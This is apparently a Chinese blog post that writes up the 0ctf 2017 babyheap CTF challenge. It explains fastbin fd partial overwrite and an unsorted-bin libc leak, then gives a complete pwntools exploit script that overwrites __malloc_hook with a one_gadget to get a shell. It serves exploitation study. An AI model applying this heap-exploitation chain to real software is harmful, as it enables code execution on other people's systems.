美文网首页
fastbin unsorted bin Arbitrary A

fastbin unsorted bin Arbitrary A

作者: fIappy | 来源:发表于2019-01-12 15:41 被阅读0次

    1.实例 2017 0ctf babyheap
    题目保护全开, 只有一个堆溢出
    一个全局单链表头,通过将chunk0溢出覆盖chunk1的fd指向chunk4,从而在开启pie情况下将内存可以分配到chunk 4中.
    利用输出功能结合unsorted bin泄漏地址
    当chunk 4释放后可以修改它的fd指向main_arena附近.再申请内存可编辑malloc_hook.

    总结:
    绕过pie结合的aslr: 通过单字节覆盖修改next指针,导致2个chunk的next指针指向同一个chunk
    将smallbin大小的chunk释放到unsorted bin中,打印那个chunk的next指针可以泄漏基址
    申请比该unsorted bin chunk小的内存时,会将该chunk拆分.
    释放到unsorted bin时,该chunk不能是fastbin大小,不能和top chunk挨着.

    exp:

    from pwn import *
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    if args['DEBUG']:
        context.log_level = 'debug'
    context.binary = "./babyheap"
    babyheap = context.binary
    if args['REMOTE']:
        p = remote('127.0.0.1', 7777)
    else:
        p = process("./babyheap")
    log.info('PID: ' + str(proc.pidof(p)[0]))
    
    
    def offset_bin_main_arena(idx):
        word_bytes = context.word_size / 8
        offset = 4  # lock
        offset += 4  # flags
        offset += word_bytes * 10  # offset fastbin
        offset += word_bytes * 2  # top,last_remainder
        offset += idx * 2 * word_bytes  # idx
        offset -= word_bytes * 2  # bin overlap
        return offset
    
    
    offset_unsortedbin_main_arena = offset_bin_main_arena(0)
    
    
    def allocate(size):
        p.recvuntil('Command: ')
        p.sendline('1')
        p.recvuntil('Size: ')
        p.sendline(str(size))
    
    
    def fill(idx, size, content):
        p.recvuntil('Command: ')
        p.sendline('2')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
        p.recvuntil('Size: ')
        p.sendline(str(size))
        p.recvuntil('Content: ')
        p.send(content)
    
    
    def free(idx):
        p.recvuntil('Command: ')
        p.sendline('3')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
    
    
    def dump(idx):
        p.recvuntil('Command: ')
        p.sendline('4')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
    
    
    def exp():
        # 1. leak libc base
        allocate(0x10)  # idx 0, 0x00
        allocate(0x10)  # idx 1, 0x20
        allocate(0x10)  # idx 2, 0x40
        allocate(0x10)  # idx 3, 0x60
        allocate(0x80)  # idx 4, 0x80
        # free idx 1, 2, fastbin[0]->idx1->idx2->NULL
        free(2)
        free(1)
        # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
        payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
        fill(0, len(payload), payload)
        # if we want to allocate at idx4, we must set it's size as 0x21
        payload = 0x10 * 'a' + p64(0) + p64(0x21)
        fill(3, len(payload), payload)
        allocate(0x10)  # idx 1
        allocate(0x10)  # idx 2, which point to idx4's location
        # if want to free idx4 to unsorted bin, we must fix its size
        payload = 0x10 * 'a' + p64(0) + p64(0x91)
        fill(3, len(payload), payload)
        # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
        allocate(0x80)  # idx 5
        free(4)
        # as idx 2 point to idx4, just show this
        dump(2)
        p.recvuntil('Content: \n')
        unsortedbin_addr = u64(p.recv(8))
        main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
        log.success('main arena addr: ' + hex(main_arena))
        main_arena_offset = 0x3c4b20
        libc_base = main_arena - main_arena_offset
        log.success('libc base addr: ' + hex(libc_base))
    
        # 2. malloc to malloc_hook nearby
        # allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4
        allocate(0x60)
        free(4)
        # edit idx4's fd point to fake chunk
        fake_chunk_addr = main_arena - 0x33
        fake_chunk = p64(fake_chunk_addr)
        fill(2, len(fake_chunk), fake_chunk)
    
        allocate(0x60)  # idx 4
        allocate(0x60)  # idx 6
    
        one_gadget_addr = libc_base + 0x4526a#0xf02a4
        payload = 0x13 * 'a' + p64(one_gadget_addr)
        fill(6, len(payload), payload)
        # trigger malloc_hook
        allocate(0x100)
        p.interactive()
    
    
    if __name__ == "__main__":
        exp()
    
    

    相关文章

      网友评论

          本文标题:fastbin unsorted bin Arbitrary A

          本文链接:https://www.haomeiwen.com/subject/zpxcdqtx.html